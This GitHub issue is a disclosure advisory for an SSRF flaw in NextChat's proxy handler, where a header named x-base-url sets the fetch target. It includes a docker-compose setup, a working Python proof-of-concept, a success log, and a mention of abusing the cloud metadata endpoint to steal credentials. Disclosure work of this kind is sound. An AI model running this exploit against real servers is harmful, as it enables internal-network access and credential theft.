New issue

[Security] Server-Side Request Forgery (SSRF) via Open Proxy Fallback (`x-base-url` Header) #6742

Open

YLChen-007 opened 3 weeks ago

Source: https://gist.githubusercontent.com/YLChen-007/da6b00024f5b7e1d4fa0658c19b77fbf/raw

Advisory Details

Title: Server-Side Request Forgery (SSRF) via Open Proxy Fallback (`x-base-url` Header)

Description:

Summary

A Server-Side Request Forgery (SSRF) vulnerability allows unauthenticated attackers to execute arbitrary HTTP requests against internal or external networks. The NextChat Next.js proxy route handler (`app/api/proxy.ts`) can be invoked by a generic fallback handler (`app/api/[provider]/[...path]/route.ts`) when an unrecognized provider is specified. The `proxyHandler` acts as an open proxy by improperly trusting the `x-base-url` HTTP header to determine the destination URL without any domain validation.

Details

The `app/api/[provider]/[...path]/route.ts` API route is responsible for proxying requests from the NextChat frontend to various LLM provider APIs (e.g., OpenAI, Azure). When the requested provider does not match any known provider in the switch statement, the route blindly defaults to the standard `proxyHandler` implemented in `app/api/proxy.ts` .

The root cause of this SSRF is the absence of strict domain whitelisting and input validation inside the `proxyHandler` . Specifically, when the handler computes `fetchUrl` , it concatenates the user-supplied HTTP header `x-base-url` with the requested path segments and query parameters:

```
const fetchUrl = `${req.headers.get("x-base-url")}/${subpath}?${req.nextUrl.searchParam
```

Since the `x-base-url` is completely attacker-controlled, passing a malicious internal target like `http://127.0.0.1` or `http://169.254.169.254` forces the application to fetch that resource directly and stream its response back to the client. While correctly-patched proxy routes (like webdav) have built-in SSRF protection that blocks malicious internal URL formats, the standard `proxyHandler` lacks this validation entirely.

PoC

Prerequisites

- The target must be running the NextChat instance with its API endpoints exposed.
- No authentication is required to hit the `unknown-provider` route, as the proxy logic executes before any state or API key validation is enforced for unknown providers.

Reproduction Steps

1. Save the following code as `docker-compose.yml`:

```yaml
services:
  nextchat:
    build:
      context: ../../../../
      dockerfile: Dockerfile
    container_name: nextchat-proxy-ssrf
    ports:
      - "3000:3000"
    environment:
      - BASE_URL=http://localhost:3000
```

2. Start the NextChat instance:

```
docker compose up -d --build
```

3. Save the following Python script as `poc.py`:

```python
import requests

def test_proxy_ssrf():
    target = "http://localhost:3000/api/unknown-provider/get?foo=bar"
    headers = {
        "x-base-url": "http://httpbin.org"
    }

    try:
```

```
        response = requests.get(target, headers=headers, timeout=10)
        print("[*] Proxy SSRF Response Status:", response.status_code)
        print("[*] Response body snippet:")
        print(response.text[:500])

        if "httpbin.org" in response.text and response.status_code == 200:
            print("[SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF!")
        else:
            print("[FAILED] Request blocked or failed. Status:", response.status_code)
    except Exception as e:
        print("[FAILED]", e)

if __name__ == "__main__":
    test_proxy_ssrf()
```

4. Run the exploit PoC:

```
python3 poc.py
```

Log of Evidence

```
[*] Proxy SSRF Response Status: 200
[*] Response body snippet:
{
  "args": {
    "foo": "bar"
  },
...
  "headers": {
    "Host": "httpbin.org",
...
  }
}
[SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF!
```

Impact

Server-Side Request Forgery (SSRF). Attackers can proxy requests to internal network services, circumvent firewalls, access internal metadata (e.g., cloud Instance Metadata Service at `169.254.169.254` to steal temporary AWS cloud credentials), or use the server as an open proxy to attack external domains anonymously.

Affected products

- **Ecosystem**: npm
- **Package name**: nextchat (ChatGPT-Next-Web)
- **Affected versions**: <= v2.16.1

- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Weaknesses

- **CWE-918**: Server-Side Request Forgery (SSRF)

Permalink	Description
https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/proxy.ts	The `proxyHandler` blindly trusts the `x-base-url` header without domain whitelisting or loopback validation to determine the upstream proxy destination.
https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/%5Bprovider%5D/%5B...path%5D/route.ts	The fallback router routes unknown providers directly to the insecure `proxyHandler`.

Metadata

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants